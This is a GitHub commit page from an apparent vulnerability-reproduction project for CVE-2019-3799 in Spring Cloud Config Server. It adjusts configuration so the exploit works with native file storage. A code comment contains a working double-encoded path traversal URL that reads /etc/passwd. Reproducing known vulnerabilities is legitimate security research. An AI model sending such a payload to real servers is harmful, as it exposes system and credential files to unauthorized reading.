Skip to content

Commit 54ee515

Browse files
author
“threedr3am”
committed
fix
1 parent d642de2 commit 54ee515

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed

spring/spring-cloud-config-server(CVE-2019-3799)/src/main/java/com/threedr3am/bug/spring/config/server/package-info.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
/**
22
* 触发点 org.springframework.cloud.config.server.resource.ResourceController
33
*
4-
* todo 条件:需要使用git等版本库存储,经测试使用本地存储不成功
5-
*
64
* url中第三个label,也就是/{application}/{profile}/{label}/..%252f..%252fetc%252fpasswd中的label需要存在的分支,
75
* 一般情况下master存在,因此url为:/threedr3am/dev/master/..%252f..%252f..%252f..%252f..%252f../etc/passwd
86
*
Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,12 @@
11
spring:
2+
profiles:
3+
active: native
24
cloud:
35
config:
46
server:
5-
git:
6-
uri: https://github.com/threedr3am/share-project
7+
native:
8+
search-locations: file:///tmp
9+
# git:
10+
# uri: https://github.com/threedr3am/share-project
711
server:
812
port: 9988

0 commit comments

Comments
 (0)